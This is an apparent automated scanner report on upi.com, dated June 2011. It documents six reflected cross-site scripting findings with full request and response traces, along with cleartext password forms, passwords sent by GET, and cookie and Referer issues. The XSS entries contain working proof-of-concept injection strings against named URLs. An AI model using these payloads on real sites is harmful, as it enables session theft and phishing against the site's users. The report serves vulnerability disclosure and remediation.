XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, upi.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/ [or parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/

Issue detail

The value of the or request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f0944'%3balert(1)//e454f85ac0e was submitted in the or parameter. This input was echoed as f0944';alert(1)//e454f85ac0e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs&or=bnf0944'%3balert(1)//e454f85ac0e HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) PHP/5.3.5
X-Powered-By: PHP/5.3.5
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:27 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 63003
Date: Fri, 03 Jun 2011 01:27:27 GMT
X-Varnish: 1334566028
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>For Goldman, a subpoena, business as usual - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="Financial giant G
...[SNIP]...
<script type="text/javascript">

    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-1342607-1']);
    _gaq.push(['_setCustomVar', 1, 'story_w_photos', '408', 3], ['_setCustomVar', 2, 'hs', 'bnf0944';alert(1)//e454f85ac0e', 3], ['_trackPageview']);

    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'h
...[SNIP]...

1.2. http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/ [spt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/

Issue detail

The value of the spt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11ab4'%3balert(1)//0f197baacec was submitted in the spt parameter. This input was echoed as 11ab4';alert(1)//0f197baacec in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs11ab4'%3balert(1)//0f197baacec&or=bn HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:26 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 63003
Date: Fri, 03 Jun 2011 01:27:26 GMT
X-Varnish: 1334566004
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>For Goldman, a subpoena, business as usual - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="Financial giant G
...[SNIP]...
<script type="text/javascript">

    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-1342607-1']);
    _gaq.push(['_setCustomVar', 1, 'story_w_photos', '408', 3], ['_setCustomVar', 2, 'hs11ab4';alert(1)//0f197baacec', 'bn', 3], ['_trackPageview']);

    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protoco
...[SNIP]...

1.3. http://www.upi.com/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/ [or parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/

Issue detail

The value of the or request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ffec8'%3balert(1)//a84ed0cc685 was submitted in the or parameter. This input was echoed as ffec8';alert(1)//a84ed0cc685 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/?spt=hs&or=tnffec8'%3balert(1)//a84ed0cc685 HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:30 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 62545
Date: Fri, 03 Jun 2011 01:27:30 GMT
X-Varnish: 1334566135
Age: 1
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>Joplin tornado death toll at 138 - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="With all citizens accounted
...[SNIP]...
<script type="text/javascript">

    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-1342607-1']);
    _gaq.push(['_setCustomVar', 1, 'story_w_photos', '158', 3], ['_setCustomVar', 2, 'hs', 'tnffec8';alert(1)//a84ed0cc685', 3], ['_trackPageview']);

    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'h
...[SNIP]...

1.4. http://www.upi.com/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/ [spt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/

Issue detail

The value of the spt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f727a'%3balert(1)//671d1f14f9b was submitted in the spt parameter. This input was echoed as f727a';alert(1)//671d1f14f9b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/?spt=hsf727a'%3balert(1)//671d1f14f9b&or=tn HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) PHP/5.3.6
X-Powered-By: PHP/5.3.6
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:29 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 62545
Date: Fri, 03 Jun 2011 01:27:29 GMT
X-Varnish: 1334566105
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>Joplin tornado death toll at 138 - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="With all citizens accounted
...[SNIP]...
<script type="text/javascript">

    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-1342607-1']);
    _gaq.push(['_setCustomVar', 1, 'story_w_photos', '158', 3], ['_setCustomVar', 2, 'hsf727a';alert(1)//671d1f14f9b', 'tn', 3], ['_trackPageview']);

    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protoco
...[SNIP]...

1.5. http://www.upi.com/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/ [or parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/

Issue detail

The value of the or request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4a08b'%3balert(1)//808a732f985 was submitted in the or parameter. This input was echoed as 4a08b';alert(1)//808a732f985 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/?spt=hs&or=tn4a08b'%3balert(1)//808a732f985 HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 03 Jun 2011 01:27:29 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.5
X-Powered-By: PHP/5.3.5
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:29 GMT
Connection: close
Content-Type: text/html
Content-Length: 64288

<!DOCTYPE html>
<html lang="en">
<head>
   <title>Obama: Cut deficit, preserve Medicare - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="U.S. President Barack
...[SNIP]...
<script type="text/javascript">

    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-1342607-1']);
    _gaq.push(['_setCustomVar', 1, 'story_w_photos', '147', 3], ['_setCustomVar', 2, 'hs', 'tn4a08b';alert(1)//808a732f985', 3], ['_trackPageview']);

    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'h
...[SNIP]...

1.6. http://www.upi.com/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/ [spt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/

Issue detail

The value of the spt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 227f3'%3balert(1)//ef5be9b3d9a was submitted in the spt parameter. This input was echoed as 227f3';alert(1)//ef5be9b3d9a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/?spt=hs227f3'%3balert(1)//ef5be9b3d9a&or=tn HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 03 Jun 2011 01:27:28 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.5
X-Powered-By: PHP/5.3.5
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:28 GMT
Connection: close
Content-Type: text/html
Content-Length: 64288

<!DOCTYPE html>
<html lang="en">
<head>
   <title>Obama: Cut deficit, preserve Medicare - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="U.S. President Barack
...[SNIP]...
<script type="text/javascript">

    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-1342607-1']);
    _gaq.push(['_setCustomVar', 1, 'story_w_photos', '147', 3], ['_setCustomVar', 2, 'hs227f3';alert(1)//ef5be9b3d9a', 'tn', 3], ['_trackPageview']);

    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protoco
...[SNIP]...

2. Cleartext submission of password previous next
There are 2 instances of this issue:

/upi_comments/form
/upi_comments/form

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://www.upi.com/upi_comments/form previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.upi.com
Path:	/upi_comments/form

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.upi.com/upi_comments/form

The form contains the following password field:

passwd

Request

POST /upi_comments/form HTTP/1.1
Host: www.upi.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html, */*; q=0.01
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs&or=bnf0944%27%3balert(document.location)//e454f85ac0e
Content-Length: 3
Cookie: __gads=ID=4668bd5b9ab96c55:T=1307064610:S=ALNI_MYMW80dRWn21ndcBYryUC99SJHuhQ
Pragma: no-cache
Cache-Control: no-cache

ns&

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 4752
Date: Fri, 03 Jun 2011 01:30:23 GMT
X-Varnish: 1334573043
Age: 0
Via: 1.1 varnish
Connection: keep-alive

               <div style="color: #333333; margin-bottom: 11px; float: right;">


                   <table cellpadding="0" cellspacing="0" border="0">
                       <tr>
                           <td>
                               <div class="user_tools ut_btn" id="u
...[SNIP]...
<div class="user_tools_box" id="upi_login_box">
                                       <form onsubmit="upi_comments.user_api(this, 'login=1&'+gvbc('uc_upi_l')); return false;">
                                       <div class="label">
...[SNIP]...
</div>
                                       <input type="password" name="passwd" class="rnded uc_l_in uc_upi_l uc_grey" value="password" onfocus="upi_comments.onFoc(this, 'password');" onblur="upi_comments.onBlur(this, 'password');">
                                       <br>
...[SNIP]...

2.2. http://www.upi.com/upi_comments/form previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.upi.com
Path:	/upi_comments/form

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.upi.com/upi_comments/form

The form contains the following password fields:

passwd
passwdb

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 4752
Date: Fri, 03 Jun 2011 01:30:23 GMT
X-Varnish: 1334573043
Age: 0
Via: 1.1 varnish
Connection: keep-alive

               <div style="color: #333333; margin-bottom: 11px; float: right;">


                   <table cellpadding="0" cellspacing="0" border="0">
                       <tr>
                           <td>
                               <div class="user_tools ut_btn" id="u
...[SNIP]...
<div class="user_tools_box" id="upi_reg_box" style="width: 387px;">
                                       <form onsubmit="upi_comments.user_api(this, 'register=1&'+gvbc('uc_upi_reg')); return false;">
                                       <div style="float: left; margin-right: 11px;">
...[SNIP]...
</div>
                                           <input type="password" autocomplete="off" name="passwd" class="rnded uc_l_in uc_upi_reg">
                                           <div class="label">
...[SNIP]...
</div>
                                           <input type="password" autocomplete="off" name="passwdb" class="rnded uc_l_in uc_upi_reg">
                                       </div>
...[SNIP]...

3. Password field submitted using GET method previous next
There are 2 instances of this issue:

/upi_comments/form
/upi_comments/form

Issue background

The application uses the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, you should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

3.1. http://www.upi.com/upi_comments/form previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.upi.com
Path:	/upi_comments/form

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.upi.com/upi_comments/form

The form contains the following password field:

passwd

Request

Response

3.2. http://www.upi.com/upi_comments/form previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.upi.com
Path:	/upi_comments/form

Issue detail

The page contains a form with the following action URL, which is submitted using the GET method:

http://www.upi.com/upi_comments/form

The form contains the following password fields:

passwd
passwdb

Request

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html
Content-Length: 4752
Date: Fri, 03 Jun 2011 01:30:23 GMT
X-Varnish: 1334573043
Age: 0
Via: 1.1 varnish
Connection: keep-alive

               <div style="color: #333333; margin-bottom: 11px; float: right;">


                   <table cellpadding="0" cellspacing="0" border="0">
                       <tr>
                           <td>
                               <div class="user_tools ut_btn" id="u
...[SNIP]...
<div class="user_tools_box" id="upi_reg_box" style="width: 387px;">
                                       <form onsubmit="upi_comments.user_api(this, 'register=1&'+gvbc('uc_upi_reg')); return false;">
                                       <div style="float: left; margin-right: 11px;">
...[SNIP]...
</div>
                                           <input type="password" autocomplete="off" name="passwd" class="rnded uc_l_in uc_upi_reg">
                                           <div class="label">
...[SNIP]...
</div>
                                           <input type="password" autocomplete="off" name="passwdb" class="rnded uc_l_in uc_upi_reg">
                                       </div>
...[SNIP]...

4. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.upi.com
Path:	/upi_comments/form

Issue detail

The page contains a form with the following action URL:

http://www.upi.com/upi_comments/form

The form contains the following password field with autocomplete enabled:

passwd

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

Response

5. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/img/acn.gif

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

upi_acn[accounts]=521460; path=/; domain=.upi.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /img/acn.gif?acn=accounts&t=1307064622 HTTP/1.1
Host: www.upi.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs&or=bnf0944%27%3balert(document.location)//e454f85ac0e
Cookie: __gads=ID=4668bd5b9ab96c55:T=1307064610:S=ALNI_MYMW80dRWn21ndcBYryUC99SJHuhQ

Response

HTTP/1.1 200 OK
Date: Fri, 03 Jun 2011 01:30:26 GMT
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: Tues, 26 Apr 2011 05:00:00 GMT
Last-Modified: Fri, 03 Jun 2011 01:30:26 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: upi_acn[accounts]=521460; path=/; domain=.upi.com
Content-Length: 542
Content-Type: image/gif

GIF87ap............DBD...dbd$"$......|z|......TRT...ljl424...................................................,....p....... .di.h..l..P,.tm.x..|O...pH,....rY.....Tp.......;,.<."...QA...A....M.....z.c\
...[SNIP]...

6. Cross-domain Referer leakage previous next
There are 4 instances of this issue:

/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/
/Health_News/2011/06/02/Food-Pyramid-out-half-plate-of-produce-in/UPI-10021307052474/
/Top_News/US/2011/06/02/Joplin-tornado-death-toll-at-138/UPI-44341307053669/
/Top_News/US/2011/06/02/Obama-Cut-deficit-preserve-Medicare/UPI-36591307058766/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

6.1. http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.upi.com
Path:	/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/

Issue detail

The page was loaded from a URL containing a query string:

http://www.upi.com/Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs&or=bn

The response contains the following links to other domains:

http://fk.cm/6259481
http://fk.cm/6259658
http://fk.cm/6259744
http://fk.cm/6259746
http://fk.cm/6259756
http://fk.cm/6260185
http://itunes.apple.com/us/app/upi-fwix-news/id334824242?mt=8
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js
http://pixel.quantserve.com/pixel/p-7ei3bMfykgqsA.gif
http://platform.twitter.com/widgets.js
http://twitter.com/share
http://twitter.com/upi_top
http://upi.dealon.com/
http://www.allamericanspeakers.com/
http://www.dealerfinder.com/
http://www.facebook.com/UnitedPress
http://www.hokensongroup.com/
http://www.upiu.com/
https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js

Request

GET /Business_News/2011/06/02/For-Goldman-a-subpoena-business-as-usual/UPI-97441307044985/?spt=hs&or=bn HTTP/1.1
Host: www.upi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.2
X-Powered-By: PHP/5.3.2
Pragma: public
Cache-Control: maxage=180
Expires: Fri, 03 Jun 2011 01:30:16 GMT
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 62975
Date: Fri, 03 Jun 2011 01:27:16 GMT
X-Varnish: 1334565641 1334565631
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
   <title>For Goldman, a subpoena, business as usual - UPI.com</title>

   <meta name="robots" content="all" />
   <meta name="description" content="Financial giant G
...[SNIP]...
</script>
   <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.0/jquery.min.js"></script>
...[SNIP]...
</script>


           <script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js"></script>
...[SNIP]...
</a>  |  
                   <a href="http://www.upiu.com/" target="_blank" title="UPIU - University Media Alliance">UPIU</a>
...[SNIP]...
<li><a href="http://upi.dealon.com" target="_blank">Deals</a>
...[SNIP]...
07044985%2F&t=For+Goldman%2C+a+subpoena%2C+business+as+usual+-+UPI.com&src=sp', 'fb_share', 'width=700,height=600,scrollbars=yes,resizable=yes');" style="cursor: pointer; margin-right: 11px;">
                               <a href="http://twitter.com/share" class="twitter-share-button" data-count="" data-via="upi_top" data-related="OddNewsUPI:UPI_sports">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</a>
       <a href="http://itunes.apple.com/us/app/upi-fwix-news/id334824242?mt=8" target="_blank" alt="UPI iPhone App" title="UPI iPhone App"><img src="http://www.upi.com/img/clear.gif" class="icon iphone" alt="UPI iPhone App" title="UPI iPhone App"></a>
       <a href="http://www.facebook.com/UnitedPress" target="_blank" alt="UPI Facebook Page" title="UPI Facebook Page"><img src="http://www.upi.com/img/clear.gif" class="icon facebook" alt="UPI Facebook Page" title="UPI Facebook Page"></a>
       <a href="http://twitter.com/upi_top" target="_blank" alt="UPI Twitter Feed" title="UPI Twitter Feed"><img src="http://www.upi.com/img/clear.gif" class="icon twitter" alt="UPI Twitter Feed" title="UPI Twitter Feed">
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6260185" class="ulink" title="NYC hipsters either angry or apathetic that they're about to lose their palindromic 11211 zip code">NYC hipsters either angry or apathetic that they're about to lose their palindromic 11211 zip code...</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259658" class="ulink" title="In a move to be celebrated in bars everywhere, Customs Agents seize 1,900 karaoke machines">In a move to be celebrated in bars everywhere, Customs Agents seize 1,900 karaoke machines</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259746" class="ulink" title="Incident with crazy glue gets man stuck in jail">Incident with crazy glue gets man stuck in jail</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259744" class="ulink" title="Sachs and Stanley just got the best Groupon deal ever. Shares for $.0001 each">Sachs and Stanley just got the best Groupon deal ever. Shares for $.0001 each</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259481" class="ulink" title="In Florida it is illegal to feed homeless people">In Florida it is illegal to feed homeless people</a>
...[SNIP]...
<strong><a target="_blank" href="http://fk.cm/6259756" class="ulink" title="Long Island teen killed after falling into Long Island">Long Island teen killed after falling into Long Island</a>
...[SNIP]...
<div class="sponsored_links">Resources:
           <a rel="nofollow" target="_blank" href="http://www.hokensongroup.com">Alternative Energy Marketing</a> -
